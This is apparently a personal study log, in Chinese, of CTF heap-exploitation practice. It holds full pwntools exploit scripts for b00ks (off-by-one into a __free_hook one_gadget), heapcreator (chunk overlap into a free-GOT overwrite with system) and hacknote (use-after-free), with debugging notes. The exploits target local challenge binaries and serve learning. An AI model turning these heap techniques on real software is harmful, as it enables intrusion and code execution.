kernel看不进去,回头重新复习巩固一下heap
进度:3/22
off-by-one
Asis_2016_b00ks
很忧伤啊,本地的ubuntu16 docker容器中做的,脚本写好了跑不起来???
__malloc_hook明明改好了,调试也可以看到确实进入到one_gadget的位置了,但是在具体执行的到ogg的时候...他跳过去了???先这样吧,当前环境下改__malloc_hook是改成功了
搞出来了...malloc_hook换成free_hook就好了,果然是rsi的问题,one_gadget的条件要求他RSI为NULL,malloc_hook的时候附近都不符合条件,四个ogg一个都不能用,换成free_hook就好了
from pwn import *
# from SearchLibc import *
context.log_level='debug'
r = process("./b00ks")
# elf = process("./b00ks")
def Add(name_size, name, des_size, des):
r.sendlineafter("> ", "1")
r.sendlineafter("Enter book name size: ", str(name_size))
r.sendlineafter("Enter book name (Max 32 chars): ", name)
r.sendlineafter("Enter book description size: ", str(des_size))
r.sendlineafter("Enter book description: ", des)
def Del(id):
r.sendlineafter("> ", "2")
r.sendlineafter("Enter the book id you want to delete: ", str(id))
def Edit(id, des):
r.sendlineafter("> ", "3")
r.sendlineafter("Enter the book id you want to edit: ", str(id))
r.sendlineafter("Enter new book description: ", des)
def Pri():
r.sendlineafter("> ", "4")
def Change(name):
r.sendlineafter("> ", "5")
r.sendlineafter("Enter author name: ", name)
if __name__=="__main__":
name = 'a'*31+'b'
r.sendlineafter("Enter author name: ", name)
Add(0x18, 'aaaaaaa', 0x100, 'AAAAAAAA')
Pri()
r.recvuntil('aaaaab')
book_addr = u64(r.recvuntil("\n\n")[:-2].ljust(8, '\x00'))
log.success("heap addr start at ==> {}".format(hex(book_addr)))
Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
Add(0x88, 'aaaaaaa', 0x88, 'AAAAAAAA')
Del(3)
des = flat([ 'a'*0xb0, 0, 0x31, 1, book_addr+0xa0, book_addr+0x70, 0x30 ], word_size=64)
Edit(1, des)
Change(name)
Pri()
r.recvuntil("ID: 1\nName: ")
unsortedbin = u64(r.recvline()[:-1].ljust(8, '\x00'))
main_arena = unsortedbin - 0x58
malloc_hook = main_arena - 0x10
fack_addr = malloc_hook - 0x23
log.success("unsorted bin addr ==> %s" % hex(unsortedbin))
log.success("main_arena addr ==> %s" % hex(main_arena))
log.success("malloc addr ==> %s" % hex(malloc_hook))
# libc = SearchLibc("__malloc_hook", malloc_hook)
# base = malloc_hook - libc.dump([ '__malloc_hook' ])
# ogg = base + libc.ogg()
# log.success("base ==> %s" % hex(base))
# log.success("one_gadget ==> %s" % hex(ogg))
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
base = malloc_hook - libc.sym['__malloc_hook']
ogg = base + 0x4527a
log.success("base ==> %s" % hex(base))
log.success("one_gadget ==> %s" % hex(ogg))
# root@3144767e7ff2:/ctf/wiki/heap/off_by_one/Asis_2016_b00ks# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL
# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL
# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
des = flat([ 2, book_addr+0xa0, libc.sym['__free_hook']+base, 0x30 ], word_size=64)
Edit(1, des)
des = flat([ ogg ], word_size=64)
Edit(2, des)
log.success('pid => %i' % r.proc.pid)
pause()
Add(0x18, 'aaaaaaa', 0x18, 'AAAAAAAA')
r.interactive()
Chunk Extend and Overlapping
HITCON Trainging lab13
怎么说呢,感觉可能是自己有些笨吧,再加上这周一直是夜班整的精神严重有些不太好,这个题拖了有几天
我认为要注意的点:
- 用0改1并释放后,需要注意的是确实是合并释放了,0x40的链里边有一个内容,但同时,他原本content的chunk也被加入到0x20的链表中。
从IDA中也可以看到它是将content先释放,再释放本身的chunk
这样的话无论接下来申请多大的content内存,本身用于记录的chunk申请位置都会在原先1的content chunk所在的位置,也就是上图0x11fc060这个位置的chunk(它的记录chunk大小是固定的0x20,用于记录content大小和content位置)
这样的话,如果能将0x40链中的内存申请出来的话,就意味着我们可以控制他的记录chunk,而记录chunk我们知道他里边有两个内容,一个size,一个content的指针,注意这是一个指针,指向的是content的正文开始处,这便意味着如果我们可以控制这个指针的值,那么我们就有了任意位置读写能力,接下来常规操作即可。
fastbin确实做得少,还得多练练。抽时间还是得看看源码,看看他申请和释放是的检查到底都是怎么写的。
# -*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'
r = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def Add(size, content):
r.sendafter("Your choice :", "1")
r.sendafter("Size of Heap : ", str(size))
r.sendafter("Content of heap:", content)
def Edit(id, content): # off-by-one
r.sendafter("Your choice :", "2")
r.sendafter("Index :", str(id))
r.sendafter("Content of heap : ", content)
def Show(id):
r.sendafter("Your choice :", "3")
r.sendafter("Index :", str(id))
def Del(id):
r.sendafter("Your choice :", "4")
r.sendafter("Index :", str(id))
if __name__=='__main__':
Add(0x18, 'aaa')
Add(0x18, 'aaa')
Add(0x18, '/bin/sh\x00')
content = flat([ 'a'*0x18, '\x41' ], word_size=64)
Edit(0, content)
Del(1)
# log.success('pid => %i' % r.proc.pid)
# pause()
Add(0x38, 'a'*0x18+p64(0x21)+p64(0x18)+p64(elf.got['free'])) # 注意是got表,got表中存着的是真实加载位置,plt中是got表的位置
Show(1)
r.recvuntil("Content : ")
free_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
base = free_addr - libc.sym['free']
system = base + libc.sym['system']
log.success("free addr ==> %s" % hex(free_addr))
log.success("system addr ==> %s" % hex(system))
Edit(1, p64(system))
Del(2)
# log.success('pid => %i' % r.proc.pid)
# pause()
r.interactive()
use after free
hacknote
emmmm这个的flag我有些没看懂,他是怎么引用的当前目录的flag?
IDA里是cat /home/hacknote/flag,然后一运行自动cat flag??
from pwn import *
context.log_level='debug'
r = process("./hacknote")
elf = ELF("./hacknote")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def Add(size, content):
r.sendafter("Your choice :", "1")
r.sendafter("Note size :", str(size))
r.sendafter("Content :", content)
def Del(id):
r.sendafter("Your choice :", "2")
r.sendafter("Index :", str(id))
def Print(id):
r.sendafter("Your choice :", "3")
r.sendafter("Index :", str(id))
if __name__=="__main__":
Add(16, 'aaa')
Add(16, 'aaa')
Add(16, 'aaa')
Add(16, 'aaa')
Del(0)
Del(1)
Add(8, p32(0x8048986)) # magic
log.success('pid => %i' % r.proc.pid)
pause()
Print(0)
r.interactive()
Q.E.D.